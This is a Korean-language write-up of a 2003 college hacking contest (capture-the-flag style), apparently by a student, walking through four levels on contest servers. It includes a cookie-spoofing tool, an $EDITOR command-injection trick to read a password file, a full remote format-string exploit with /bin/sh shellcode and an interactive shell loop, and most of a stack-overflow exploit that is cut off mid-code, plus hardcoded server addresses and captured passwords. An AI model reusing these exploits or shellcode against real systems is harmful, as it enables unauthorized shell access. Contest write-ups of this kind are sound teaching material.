2003 김천과학대학 해킹 경진 대회 보고서

작성자: DH (Igniz)

대회 시작: 2003년 11월 26일(수) 12:00
대회 종료: 2003년 11월 27일(목) 12:00

* 목 차

0x00: 소개 인사.

안녕하세요. 이렇게 만나뵙게 되어서 반갑습니다.
저는 이번 대회에 대학생의 자격으로 참가하게 되었습니다.
작업은 저 혼자 진행하였으며, 작업 결과물을 저장하지 못했기 때문에
내용이 많이 부족할지도 모릅니다. 아무쪼록 잘 봐주시기 바랍니다.

그럼, 본문으로 들어가도록 하겠습니다.

0x01: Level1 Hacking.

먼저, Level1 해킹 문제에 대한 힌트입니다.

[1 단계]
http://211.205.70.252에 접속하시어 웹 어드민 계정을 획득하세요
admin으로 접근시에 다음레벨의 패스워드를 보여줍니다.

서버에 접속하였을 때, 웹에서 id, password 정보를 사용자에게 입력 받아 admin 인증을 하는 프로그램을 볼 수 있었습니다. 먼저, 프로그램에 존재하는 취약점들을 분석하기 위해 database daemon이 실행 중인지 확인하였고, 웹상에서 인증하는 방식이 어떤 method인지 검사해보았습니다. SQL Injection은 아닌 듯하였고, session 인증이나 Cookie 인증일 것이라 예상하여 다음과 같이 80번 포트로 접속해 확인하였습니다.

GET / HTTP/1.0

요청 결과, /cgi-bin/LeVel1NiMdA.cgi 프로그램을 통해 인증하는 것을 발견할 수 있었고, 인자로 username 변수와 password 변수가 쓰이는 것을 확인할 수 있었습니다.
다시, /cgi-bin/LeVel1NiMdA.cgi 프로그램에 서비스를 요청해보았습니다.

GET /cgi-bin/LeVel1NiMdA.cgi HTTP/1.0

요청 결과, Cookie auth 값에 사용자 id 정보가 적재되는 것을 발견할 수 있었습니다.
일반적으로 Cookie Spoofing 취약점은 Cookie를 사용하는 웹 인증 프로그램이나, 웹 메일 서비스 등에서 많이 발견되는데, 이는 사용자가 변조하는 Cookie 값을 그대로 신뢰하기 때문이라 할 수 있습니다.

다음과 같이 Cookie의 auth 값에 admin을 대입해본 결과, admin으로 접근하는데 성공하였고, 다음 레벨의 password를 얻을 수 있었습니다.

```
bash$ telnet 211.205.70.252 80
Trying 211.205.70.252...
Connected to 211.205.70.252.
Escape character is '^]'.
GET /cgi-bin/LeVel1NiMdA.cgi HTTP/1.0
Cookie: auth=admin
...
HTTP/1.1 200 OK
...
Password: 2qjsanswpfh%ok
...
bash$
```

얻은 password를 대입한 결과, 다음 level2로 진입할 수 있었습니다.
다음은 대회종료 후 재 구현한 Cookie spoofing 자동화 툴입니다.

-- DH-COOKIELEB1.c --

```
/*
** DH-COOKIELEB1 - level1 cookie spoofing exploit
** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.
**
** -- How to exploit --
**
** bash$ ./DH-suxCOOKIE test_host 80 /cgi-bin/LeVel1NiMdA.cgi auth=admin
** +Sending, Cookie information.
** +Getting, information: --
**
** HTTP/1.1 200 OK
** Date: ... GMT
** Server: ...
** Connection: close
** Content-Type: text/plain
**
** ... messages ...
```

```
** ... 2qjsanswpfh%ok
** ...
** - -
** +Program end.
** bash$
** - -
** I like Zero and, Igniz!
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

int setsock(char *hostname,int port);
void usage(char *args);

void usage(char *args)
{
        fprintf(stdout," \ n Usage: %s [host] [port] [program path] [cookie
value] \ n",args);
        fprintf(stdout," ex> %s test_host 80 /cgi-bin/LeVel1NiMdA.cgi
auth=admin \ n \ n");
        exit(-1);
}

int setsock(char *hostname,int port)
{
        int sock;
        struct hostent *he;
        struct sockaddr_in x_addr;

        if((he=gethostbyname(hostname))==NULL)
        {
                herror("gethostbyname");
```

```
                exit(-1);
        }
        if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
        {
                perror("socket");
                exit(-1);
        }
        x_addr.sin_family=AF_INET;
        x_addr.sin_port=htons(port);
        x_addr.sin_addr=*((struct in_addr*)he->h_addr);
        bzero(&(x_addr.sin_zero),8);

        if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))==-1)
        {
                perror("connect");
                exit(1);
        }
        return(sock);
}

int main(int argc,char *argv[])
{
        char r_sbuf[1024];
        int sock,g_g=0;
        if(argc<5)
                (void)usage(argv[0]);
        if(argv[3][0]!='/')
        {
                fprintf(stderr,"web path error. \ n");
                fprintf(stderr,"ex> /index.html (O) index.html (X) \ n");
                exit(-1);
        }

        sock=setsock(argv[1],atoi(argv[2]));
        memset((char *)r_sbuf,0,sizeof(r_sbuf)-1);
        snprintf(r_sbuf,sizeof(r_sbuf)-1,"GET %s HTTP/1.0 \ n"
```

```
                "Accept: */* \ nAccept-Language: ko \ nUser-Agent: suxCookie \ n"
                "Host: test_cookie \ nConnection: Keep-Alive \ nCookie: %s \ n \ n",
                argv[3],argv[4]);

        fprintf(stdout,"+Sending, Cookie information. \ n");
        send(sock,r_sbuf,strlen(r_sbuf),0);
        fprintf(stdout,"+Getting, information: - - \ n \ n");
        while(read(sock,&g_g,1)){
                fprintf(stdout,"%c",g_g);
        }
        fprintf(stdout,"- - \ n");
        close(sock);
        fprintf(stdout,"+Program end. \ n");
        exit(-1);
}

/* eoc */
- -
```

0x02: Level2 Hacking.

다음은 Level2 문제에 대한 힌트입니다.

[2 단계]
211.205.70.252서버의 18523/tcp 포트에 특정 목적의 프로그램이 동작하고 있습니다.
여러 프로그램과 명령이 존재하며 특정파일안에 다음레벨의 패스워드가 들어있습니다.

이번 문제는 chroot 내에 구성된 daemon 명령을 통해 특정 파일을 읽어내는 방법입니다.
daemon에 설치된 명령 중, 파일을 읽을 수 있는 명령은 src 명령이었는데 이 명령의 code 는 다음과 같습니다.

-- src 명령 script --
```
#!/bin/ksh

if /bin/test -z $1 ; then echo "usage: src <name>"; exit ; fi

fname=`/bin/basename $1`

if /bin/test -z $EDITOR ; then EDITOR=/bin/cat ; fi

echo "======= source =[$fname]===================="
$EDITOR source/$fname
echo "=========================================="
```
--

유심히 살펴보면, 먼저 인자로 입력된 값이 있는지 확인한 후 없으면 사용법을 출력하며 종료합니다. 입력된 내용이 있을 경우 /bin/basename 명령을 통해 파일의 경로에서 파일명을 받아 $fname 변수에 저장합니다.
취약점이 존재하는 부분은 $EDITOR 변수를 읽는 부분인데 test 명령을 통해 변수 값이 설정되어 있는지 검사합니다. 여기서 변수 값이 비어있으면, /bin/cat 명령을 저장합니다.
이 부분에서 사용자는 $EDITOR 변수를 제어하여 임의의 명령을 실행할 수 있으며,
임의의 파일을 읽어내는 것이 가능해집니다.

본래 문법대로 라면, $EDITOR 변수에 저장된 /bin/cat 명령을 통해 source 디렉토리 내의 파일만을 읽을 수 있습니다. 문제는 패스워드가 저장되어 있는 파일을 찾는 것 이었습니다. ls 명령이 존재하지 않으므로, 디렉토리를 살펴보기 어려웠는데, 일반적으로 shell에서는 `*' 와일드 카드 문자열을 통해 지정한 디렉토리의 내용을 불러올 수 있습니다. (예: /bin/ls /etc/* 또는, * 특수 문자를 이용하면, 원하는 디렉토리에 있는 내용을 얻을 수 있습니다.)
디렉토리에 있는 내용을 출력시켜 얻어보기 위해 echo 명령을 이용하였습니다.

echo /*

이로써, chroot 상의 최상위 디렉토리 내용을 얻어볼 수 있었습니다.
결국, /etc 디렉토리에 존재하는 PASSWORD 파일이 다음 레벨의 패스워드가 담겨져 있는 파일인 것으로 예상할 수 있었습니다.
최종적으로 telnet 상에서 다음과 같이 입력하여, 다음 레벨의 패스워드를 얻어낼 수 있었습니다.

---

bash$ telnet 211.205.70.252 18523
Trying 211.205.70.252...
Connected to 211.205.70.252.
Escape character is '^]'.
...
export EDITOR="/bin/cat /etc/PASSWORD ";
src test;
...
Password: wk!ghkxld-3
...

$EDITOR 변수에는 /bin/cat 명령을 이용하여 /etc/PASSWORD 파일을 읽도록 저장했는데, 그 뒤에 ' ' 스페이스로 구분해줌으로써, src 명령의 인자로 입력 받은 특정파일도 함께 읽을 수 있도록 하였습니다. src 명령을 실행한 결과, /etc/PASSWORD 파일의 내용을 화면에 출력하였고, 다음 Level3으로 진입할 수 있었습니다.

0x03: Level3 Hacking.

다음은 Level3 문제에 대한 힌트입니다.

[3 단계]
211.205.70.252서버의 35232/tcp 포트에 특정 데몬이 동작하고 있습니다.
특정 명령에 취약점이 발생합니다.

우선, 위 정보를 토대로 서버에 접속해보았습니다. 접속 후에는 Secure daemon 프로그램이 실행되었는데, 그 이상으로 주어진 정보가 없었기 때문에 daemon이 어떠한 명령을 통해 통신하는 지 알 수 있는 방법이 없었습니다.
여러 시간동안 대입하여 찍어본 결과, ftp server의 LIST 명령을 연상하여 맞출 수 있었고, 명령이 대문자로 이루어져 있다는 사실을 알게 되었습니다.
HELP 명령을 통해 다음과 같은 명령들이 존재하는 것을 알 수 있었습니다.

```
-- HELP 명령 결과 --
== HELP ================================
HELP : this page
USER : Username
PASS : Password
LIST : List
NOOP : No Operation
EXPN : Expand command
OPTE : Echo Option toggle
OPTV : Verbose Option toggle
OPTD : Debug Option toggle
OPTL : Print Option
VERS : Print version
QUIT : quit
--
```

여러 명령이 존재하는 것을 확인할 수 있었는데, 한참동안 명령들의 기능을 살펴본 결과, 여러 편리한 디버깅 옵션이 존재하는 것을 확인할 수 있었습니다. OPTL 옵션을 실행하면, 현재 ON(수행 중)으로 설정되어 있는 옵션 정보를 확인할 수 있는데 OPTE, OPTV, OPTD

는 ON으로 되어 있었지만, OPTS라는 옵션은 OFF 되어 있는 것을 확인할 수 있었습니다.
소개되어 있는 옵션의 속성을 보니, Stack Debug mode(대략) 같아보였고,
OPTS 옵션을 수행하자 실행되는 모든 옵션, 명령에 대한 디버깅 정보와 stack
정보를 얻어볼 수 있었습니다.

stack 정보가 출력되는 것으로 봐서는 stack 내용 정보를 필요로 하는 문제일 것이라
예상할 수 있었는데, stack 기반의 overflow나 format string 문제로 범위가 좁혀졌습니다.
이에 따라, 명령을 한꺼번에 많이 입력시켜보고, format string 문자열을 입력해본 결과,
remote format string 취약점이 존재하는 것을 확인할 수 있었습니다.

이 취약점은 화면에 출력하는 echo option에서 발생하였고, 공격자가 입력하는 shellcode의
값을 쉽게 찾아볼 수 있도록 하여, 비교적 쉽게 통과할 수 있었습니다.

출력되는 stack 내용과 실제 stack의 거리는 %8x 3개 정도였던 것으로 기억 납니다.
먼저, shellcode 주소를 두 번에 쪼개어 대입하여 공격에 성공할 수 있었는데, 문제는
덮어쓰는 retloc의 위치였습니다. .dtors나 각 GOT 영역을 찾기 위해 대입해보았으나
출력되는 stack 내에서 찾는 것이 더 빠를 것 같아 stack 상의 return address를
brute-force 시도하였습니다.

대회 종료 후 재구현 시에는 4번으로 쪼개어 대입하도록 설계하였습니다.
또한, $-flag를 이용하여, 인자에 직접 쓰기를 시도하였습니다. (이 방법은 기존의
일반적인 format string 공격보다 편한 method를 제공합니다.)

return address를 대입하는 부분은 매우 간단하게 구현할 수 있었습니다.
이전에 공격이 성공했을 경우, shell() 함수를 호출하여, loop를 종료하지만 공격이 실패했을
경우 loop로 돌아가 이전의 return address 값에 4를 증가시킨 값을 대입하여 공격합니다.

다음은 remote상에서 format string 취약점을 통해 자동 공격을 시도하는 exploit
code 입니다.

-- DH-suxLEB3.c --

```
/*
** DH-suxLEB3 - x86/linux level3 remote format string exploit
** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.
**
** -- How to exploit --
**
** bash$ ./DH-suxLEB3 -t0 -c id
**
**  DH-suxLEB3 - x86/linux level3 remote format string exploit.
**
**  [*] Target Host: test_host:test_port
**  [*] Target type: Testing Testing Testing my Platform.
**  [+] Make shellcode.
**  [+] shellcode address: 0xbffff824
**  ...
**  [*] Ok, Brute-force address: 0x8049658
**  [+] Setting socket.
**  [#1] Connect, It's message.
**  [#2] Send password: --
**  [#3] Send OPTE command.
**  [#4] Send OPTS command.
**  [#5] Send QUIT command.
**  [+] Waiting, Shell.
**  uid=0 gid=0
**
** --
** I like Zero and, Igniz!
*/

#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>

#define PASSWD "wk!ghkxld-3. \ n"
```

```
#define QUIT_CMD "QUIT \ n" /* quit */
#define OPTE_CMD "OPTE \ n" /* Echo Option toggle */
#define OPTS_CMD "OPTS \ n" /* Stack debug mode */
#define DEF_CMD "ksh -i; id \ n" /* default command */
#define TEST_HOST
#undef TEST_HOST /* undef ;D */
#ifdef TEST_HOST
#define HOSTNAME "test_host"
#define PORT "test_port"//31337
#define DFLAG 1
#else
#define HOSTNAME "211.205.70.252"
#define PORT 35232
#define DFLAG 3 // $-flag count
#endif

struct os{
        int num;
        char *ost;
        u_long rettr; /* brute-force target */
        u_long shell;
};

struct os plat[]={
        {0,"Testing Testing Testing my Platform.",
                0x08049650,0xbffff824},
        /* successfully range: 0xbffefbc0 ~ 0xbffefbd0 */
        {1,"Secure Deamon v0.1(?) Linux Platform Testing.",
                0xbffefac8,0xbffefc88}
};

char shellcode[]= /* 24byte small code */
       " \ x31 \ xd2 \ x52 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x
89 \ xe3 \ x52"
        " \ x53 \ x89 \ xe1 \ x8d \ x42 \ x0b \ xcd \ x80";
```

```
u_char __bigbf[120*16];
u_char __midbf[120*8];
u_char __smlbf[120*4];
char readbuf[2048];
int type=1,chk=0; /* default type: 1 */
char command[256]=DEF_CMD;

int setsock(char *hostname,int port);
void shell(int socks);
void usage(char *args);

int main(int argc,char *argv[])
{
        int a,b,c,flag=(DFLAG),port=(PORT);
        int e,f,g,h,a1,a2,a3,a4,g_g=0;

        char hostname[256]=HOSTNAME;
        u_long retloc=0,shaddr=0;
        int socket_fd,__bf=0; /* default bf: 0 */

        memset((char *)__bigbf,0,sizeof(__bigbf));
        memset((char *)__midbf,0,sizeof(__midbf));
        memset((char *)__smlbf,0,sizeof(__smlbf));
        memset((char *)readbuf,0,sizeof(readbuf));

        fprintf(stdout," \ n DH-suxLEB3 - x86/linux level3 remote format string
exploit. \ n \ n");
        fflush(stdout);

        while((a=getopt(argc,argv,"c:r:s:f:h:t:b"))!=EOF){
                switch(a){
                        case 'c':
                                memset((char *)command,0,sizeof(command));
                                strncpy(command,optarg,sizeof(command)-2);
                                strncat(command," \ n",1);
                                break;
```

```
                        case 'r': /* ret address */
                                retloc=strtoul(optarg,NULL,0);
                                break;

                        case 's': /* &shell address */
                                shaddr=strtoul(optarg,NULL,0);
                                break;

                        case 'f': /* $-flag */
                                flag=atoi(optarg);
                                break;

                        case 'h': /* hostname */
                                memset((char *)hostname,0,sizeof(hostname));
                                strncpy(hostname,optarg,sizeof(hostname)-1);
                                break;

                        case 't': /* target type. */
                                if(type>1) /* max 2 */
                                        (void)usage(argv[0]);
                                else type=atoi(optarg);
                                break;

                        case 'b': /* brute-force mode. */
                                __bf=1;
                                break;

                        case '?':
                                (void)usage(argv[0]);
                                break;
                }
        }
        retloc=plat[type].rettr;
        shaddr=plat[type].shell;
```

```
        fprintf(stdout," [*] Target Host: %s:%d \ n",hostname,port);
        fprintf(stdout," [*] Target type: %s \ n",plat[type].ost);
        fprintf(stdout," [+] Make shellcode. \ n"); {
                for(b=0;b<140;b++)
                {
                        __midbf[b]=0x40;
                }
                for(c=0;c<strlen(shellcode);c++)
                {
                        __midbf[b++]=shellcode[c];
                }
        }
        fprintf(stdout," [+] shellcode address: %p \ n",shaddr); {
#if 1 /* 마스킹 시프트 처리 부분 */
#define RNP(v,sh,ft) { \
        v=((sh)>>(ft))&0xff; \
}
#define X_X(a,b,c,d,shaddr) { \
        RNP(a,shaddr,24); \
        RNP(b,shaddr,16); \
        RNP(c,shaddr,8); \
        RNP(d,shaddr,0); \
}
#endif
#if 0
                e=(shaddr>>24)&0xff; /* example */
#else
                X_X(e,f,g,h,shaddr);
                X_X(a1,a2,a3,a4,shaddr);
                if((a4-32)<10)
                        h+=0x00000100;
                if((a3-a4)<10)
                        g+=0x00000100;
                if((a2-a3)<10)
                        f+=0x00000100;
#endif
```

```
        }
        for(a=0,chk=0;a<1000;a++,retloc+=4)
        {
                int base_index=0;
/* 대입하는 주소값내에 0x00 이나, 0x0a 가 존재할 경우, 재대입 */
#define CHECK(retloc) { \
        if((((retloc>>8)&0xff)==(0x0a))||(((retloc>>0)&0xff)==(0x0a))) \
                continue; \
        if((((retloc>>8)&0xff)==(0x00))||(((retloc>>0)&0xff)==(0x00))) \
                continue; \
}
                CHECK(retloc);
#if 1//MASK_PUSH
#define MNP(__M,index,__wt) { \
        *(long *)&__M[index]=__wt; \
        index+=4; \
}
#endif
                fprintf(stdout," [*] Ok, Brute-force address: %p \n",retloc);
#if 0
                *(long *)&__smlbf[0]=0x41414141;
#else
                /* 리턴 주소 값 대입 */
                MNP(__smlbf,base_index,0x41414141);
                MNP(__smlbf,base_index,retloc+0x00000000);
                MNP(__smlbf,base_index,0x41414141);
                MNP(__smlbf,base_index,retloc+0x00000001);
                MNP(__smlbf,base_index,0x42424242);
                MNP(__smlbf,base_index,retloc+0x00000002);
                MNP(__smlbf,base_index,0x42424242);
                MNP(__smlbf,base_index,retloc+0x00000003);
#endif
                /* 총 4 번에 걸쳐 덮어쓰는 방법을 채택하였고,
                ** $-flag 기법을 사용한다.
                */
```

```
                snprintf(__bigbf,sizeof(__bigbf)-1,

        "%s%%%d$%ux%%%d$n%%%d$%ux%%%d$n%%%d$%ux%%%d$n%%%d$%ux
%%%d$n%s \ n",
                        __smlbf,flag+0x00000000,h-
32,flag+0x00000001,flag+0x00000002,
                        g-a4,flag+0x00000003,flag+0x00000004,f-
a3,flag+0x00000005,
                        flag+0x00000006,0x100+e-a2,flag+0x00000007,__midbf);

                fprintf(stdout," [+] Setting socket. \ n");
                socket_fd=setsock(hostname,port);
#ifdef DEBUG
                sleep(10);
#endif
                memset((char *)readbuf,0,sizeof(readbuf));
                recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
                fprintf(stdout," [#1] Connect, It's message. \ n");
#ifdef DEBUG
                fprintf(stdout,"- - \ n%s \ n- - \ n",readbuf);
#endif
                /* password 를 보냄. */
                send(socket_fd,PASSWD,strlen(PASSWD),0);
                memset((char *)readbuf,0,sizeof(readbuf));
                recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
                fprintf(stdout," [#2] Send password: - - \ n");
#ifdef DEBUG
                fprintf(stdout,"- - \ n%s \ n- - \ n",readbuf);
#endif
                /* opte 옵션을 On 시킴. */
                send(socket_fd,OPTE_CMD,strlen(OPTE_CMD),0);
                memset((char *)readbuf,0,sizeof(readbuf));
                recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
                fprintf(stdout," [#3] Send OPTE command. \ n");
#ifdef DEBUG
                fprintf(stdout,"- - \ n%s \ n- - \ n",readbuf);
```

```
#endif
                /* opts 옵션을 On 시킴. */
                send(socket_fd,OPTS_CMD,strlen(OPTS_CMD),0);
                memset((char *)readbuf,0,sizeof(readbuf));
                recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
                fprintf(stdout," [#4] Send OPTS command. \ n");
#ifdef DEBUG
                fprintf(stdout,"- - \ n%s \ n- - \ n",readbuf);
#endif
                /* send code */
                /* 완성된 공격 코드를 보냄. */
                send(socket_fd,__bigbf,strlen(__bigbf),0);
                memset((char *)readbuf,0,sizeof(readbuf));

                /* QUIT 명령을 보내어 처리하는 이유:
                ** segfault 가 발생하지 않아 daemon 이 죽지 않았을 경우를 대비.
                */
                send(socket_fd,QUIT_CMD,strlen(QUIT_CMD),0);
                memset((char *)readbuf,0,sizeof(readbuf));
                recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
                fprintf(stdout," [#5] Send QUIT command. \ n");

                fprintf(stdout," [+] Waiting, Shell. \ n");
                sleep(1);

                /* segfault 또는, QUIT 로 인해 daemon 은 종료된 상태이다.
                ** 이때, 시스템 명령을 시험적으로 보내본다.
                */
                send(socket_fd,command,strlen(command),0);
                memset((char *)readbuf,0,sizeof(readbuf));
                chk=recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
                /* 보내었을때 응답이 없을 경우, daemon 이 죽은 것으로 판단하고
                ** 공격을 다시 시도한다.
                */
                if(chk==-1){
                        fprintf(stdout," [-] Failed, reconnect attack. \ n \ n");
```

```
                        close(socket_fd);
                        continue;
                }
                else
                {
                /* 응답이 있는 경우는 shell 이 수행된 것을 가정하고,
                ** 명령 결과를 받아온 후, 본격적인 통신을 시작한다.
                */
                        fprintf(stdout,"%s \ n",readbuf);
                        (void)shell(socket_fd);
                }
                close(socket_fd);
        }
}

void usage(char *args){
        fprintf(stdout," Usage: %s -options arguments \ n \ n",args);
        fprintf(stdout," -r [retloc]       - return address. \ n");
        fprintf(stdout," -s [shell]        - shell address. \ n");
        fprintf(stdout," -f [flag]         - flag number. \ n");
        fprintf(stdout," -h [hostname]     - target host. \ n");
        fprintf(stdout," -t [type]         - target type. \ n");
        fprintf(stdout," -b                - brute-force mode. \ n \ n");
        fprintf(stdout," - Target type number list - \ n \ n");
        fprintf(stdout," {0}: Testing Testing Testing my Platform. \ n");
        fprintf(stdout," {1}: Secure Deamon v0.1(?) Linux Platform Testing. \ n");
        fprintf(stdout," \ n Example: %s -t1 -hlocalhost \ n \ n",args);
        exit(0);
}

int setsock(char *hostname,int port)
{
        int sock;
        struct hostent *he;
        struct sockaddr_in x_addr;
```

```
        if((he=gethostbyname(hostname))==NULL)
        {
                herror("gethostbyname");
                exit(1);
        }
        if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
        {
                perror("socket");
                exit(1);
        }
        x_addr.sin_family=AF_INET;
        x_addr.sin_port=htons(port);
        x_addr.sin_addr=*((struct in_addr*)he->h_addr);
        bzero(&(x_addr.sin_zero),8);

        if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))==-1)
        {
                perror("connect");
                exit(1);
        }
        return(sock);
}

void shell(int socks)
{
        int died;
        char fall_again[1024];
        fd_set rset;
        bzero(&fall_again,1024);

        while(1)
        {
                fflush(stdout);
                FD_ZERO(&rset);
                FD_SET(socks,&rset);
                FD_SET(STDIN_FILENO,&rset);
```

```
                select(socks+1,&rset,NULL,NULL,NULL);

                if(FD_ISSET(socks,&rset))
                {
                        died=read(socks,fall_again,sizeof(fall_again)-1);
                        if(died<=0)
                        {
                                fprintf(stdout," \ n [*] Thanks. \ n \ n");
                                exit(0);
                        }
                        fall_again[died]=0;
                        fprintf(stdout,"%s",fall_again);
                }
                if(FD_ISSET(STDIN_FILENO,&rset))
                {
                        died=read(STDIN_FILENO,fall_again,sizeof(fall_again)-1);
                        if(died>0)
                        {
                                fall_again[died]=0;
                                write(socks,fall_again,died);
                        }
                }
        }
        return;
}

/* eof */
```

--

위 code를 제 서버에서 수행하여 내부 shell을 실행할 수 있었고, 기존의 방법대로 /etc/PASSWORD 파일을 찾아 읽은 결과, 다음 Level4로 진입할 수 있었습니다.

```
bash$ ./DH-suxLEB3 –t1 -c id

 DH-suxLEB3 - x86/linux level3 remote format string exploit.

 [*] Target Host: 211.205.70.252:35232
 [*] Target type: Secure Deamon v0.1(?) Linux Platform Testing.
 [+] Make shellcode.
 [+] shellcode address: 0xbffefc88
 [*] Ok, Brute-force address: 0xbffefbc?
 [+] Setting socket.
 [#1] Connect, It's message.
 [#2] Send password: --
 [#3] Send OPTE command.
 [#4] Send OPTS command.
 [#5] Send QUIT command.
 [+] Waiting, Shell.
 uid=1000 gid=1000
cat /etc/PASSWORD
...
Password: eoeks$tlffur&wk
...
```

0x04: Level4 Hacking.

다음은 Level4 문제에 대한 힌트입니다.

[4 단계]
211.205.70.253서버의 23152/tcp 포트에 특정 데몬이 동작하고 있습니다.
해당 데몬은 3번 문제 데몬의 Format strings취약점을 패치하였으며 몇가지 보안강화 기능이 추가되었지만 특정 명령에 Buffer Overflow취약점이 존재합니다.
4번 문제 통과 등록후 대회 종료 시점까지 권한 소유를 해야 최종 승자가 됩니다.
권한 소유는 웹서버의 index.html 파일에 자신의 ID를 게시하면 됩니다.
즉, Capture the flag 형식의 문제 입니다.

이번 문제는 특정 명령에 존재하는 buffer overflow 취약점을 통해 exploit 하는 방법입니다. 우선 buffer overflow가 발생하는 지점을 찾기 위해, 각 명령을 살펴보았습니다. 살펴본 결과, 이전 Level3과는 다른 바운더리 체크 기능이 추가된 USER 명령과 PASS 명령을 발견할 수 있었습니다. 문제의 핵심인 것을 예상할 수 있었습니다. 재미있게도, stack debug를 통해 출력된 내용에 사용자의 id와 password가 존재하는 것을 발견하였습니다. (함정인지, 단순히 재미를 위해 만든 것인지 알 수 없었음)

USER gammaray
PASS digital

접속 후, LIST 명령을 입력해본 결과, buffer overrun 문제라고 다시 한번 알려주는 것을 볼 수 있었습니다. 우선은 의심이 되는 USER, PASS 명령에서 체킹하는 바운더리 방식을 알아내는 것이 급선무였습니다.
방식은 여러 가지가 있으나, 아래의 몇 가지로 좁힐 수 있었습니다.

첫 번째, canary address를 심는 방법.
두 번째, 문자열 바운더리로 구분하는 방법.
세 번째, SIGSEGV signal을 이용하는 방법.

여러 시간동안 조사해본 결과, 특정 canary를 심거나, signal()을 통해 SIGSEGV 검사 방식이 아닌 것을 알았습니다. stack debug 내용을 살펴본 결과, =CHECK*=라는 바운더리가 존재하는 것을 확인할 수 있었고, 이 바운더리가 덮어씌워질 때 오류가

발생하여 종료된다는 중요한 사실을 알아낼 수 있었습니다.
=CHECK1= 바운더리로부터 입력할 수 있는 버퍼&더미의 크기는 총 120byte 정도 되었습니다. 그 이후 4byte의 frame pointer가 존재하였고, 프로그램 흐름을 변경할 수 있는 return address가 존재하는 것을 확인할 수 있었습니다.

안타깝게도, 출력되는 stack의 내용을 보아, RedHat Liunx 9.0 시스템부터 도입된 Random stack을 사용하는 것을 알 수 있었습니다. 이 방식은 기존의 stack과는 다르게 프로그램 실행 후 stack 구성 시, 이전 실행 stack의 위치와는 다른 주소로 부여합니다. 그렇기 때문에 기존의 stack overflow exploit을 시도하면, 성공할 확률이 적습니다.

그러나, 이 Random stack system을 해킹 하는 방법은 여러 가지가 있습니다.
우선, 대표적으로 세가지 방법을 생각할 수 있는데,

첫 번째 방법은 **Ret-to-lib exploit method**을 이용하여 shellcode 수행이 아닌 라이브러리 함수호출을 수행하여 shell을 실행하는 방법입니다. 그러나 이 방법 역시, system(), "/bin/sh" 주소 위치를 찾아야 한다는 단점이 존재합니다.

두 번째 방법으로는 최근 Linux 시스템에서도 도입하여 공격하고 있는 **jmp %esp exploit method** 입니다. 이 방법은 버전이 같은 운영체제 상에서 라이브러리의 특정 값을 찾아 놓을 경우, 성공률이 매우 높습니다.
(대부분의 Windows buffer overflow exploit이 이 방법을 사용합니다.)

세 번째 방법으로는 기존의 공격 방법과 같이, exploit을 반복 수행해주는 것입니다.
이 방법은 매우 간단하면서도 성공률이 높은데, Random한 stack이라 할지라도 실행 시에 구성되는 stack 위치는 반복적이기 때문에 이전에 구성되었던 위치가 재구성되는 점을 노려 공격하는 것입니다.

제가 성공한 방법은 세 번째 공격 방법으로써, 먼저 shellcode가 구성되는 stack의 위치를 얻은 후, 반복적인 공격을 통해, 실행된 stack이 이전의 stack 위치로 재구성되기를 기다렸습니다. 여러 번의 대입 끝에 최종적인 shell을 얻을 수 있었으며 대회 종료 후, 재구성한 exploit code는 다음과 같습니다.

-- DH-breakLEB4.c --

```
/*
** DH-breakLEB4 - x86/redhat-linux level4 remote buffer overflow exploit
** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.
**
** -- How to exploit --
**
** bash$ ./DH-breakLEB4
**
**   DH-breakLEB4 - x86/redhat-linux level4 remote buffer overflow exploit.
**
**   [+] Setting socket.
**   [#1] Connect, It's message.
**   [#2] Send password.
**   [*] Send code.
**   [#3] Send QUIT command.
**   [+] Waiting, Shell.
**   [-] Failed, reconnect attack.
**
**   [+] Setting socket.
**   [#1] Connect, It's message.
**   [#2] Send password.
**   [*] Send code.
**   [#3] Send QUIT command.
**   [+] Waiting, Shell.
** uid=0 gid=0
**
** --
** I like Zero and, Igniz!
*/

#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
```

```
#define PASSWD "eoeks$tlffur&wk \ n"
#define QUIT_CMD "QUIT \ n" /* quit */
#define DEF_CMD "ksh -i; id \ n" /* default command */
#define HOSTNAME "211.205.70.253"
#define PORT 23152
#define USER_CMD "USER012345678901234567890123 4"
#define CHECK_BD "=CHECK1=" /* boundary str */

#define RET_ADDR (0xbfffdd58)

char shellcode[]=
        " \ x31 \ xd2 \ x52 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x
89 \ xe3 \ x52"
        " \ x53 \ x89 \ xe1 \ x8d \ x42 \ x0b \ xcd \ x80";

u_char __bigbf[1024];
u_char __smlbf[256];
char readbuf[2048];
int chk=0;
char command[256]=DEF_CMD;

int setsock(char *hostname,int port);
void shell(int socks);
void usage(char *args);

int main(int argc,char *argv[])
{
        int socket_fd,i=0,j=0,a,port=(PORT);
        u_long retaddr=(RET_ADDR);
        char hostname[256]=HOSTNAME;
        memset((char *)__smlbf,0,sizeof(__smlbf));

        fprintf(stdout," \ n DH-breakLEB4 - x86/redhat-linux level4 remote buffer
overflow exploit. \ n \ n");
        fflush(stdout);
```

```
        while((a=getopt(argc,argv,"h:p:r:"))!=EOF){
                switch(a){
                        case 'h':
                                memset((char *)hostname,0,sizeof(hostname));
                                strncpy(hostname,optarg,sizeof(hostname)-1);
                                break;

                        case 'p':
                                port=atoi(optarg);
                                break;

                        case 'r':
                                retaddr=strtoul(optarg,NULL,0);
                                break;

                        case '?':
                                (void)usage(argv[0]);
                                break;
                }
        }

        for(i=0;i<120-strlen(shellcode);i++)
                __smlbf[i]=0x41;
        for(j=0;j<strlen(shellcode);j++)
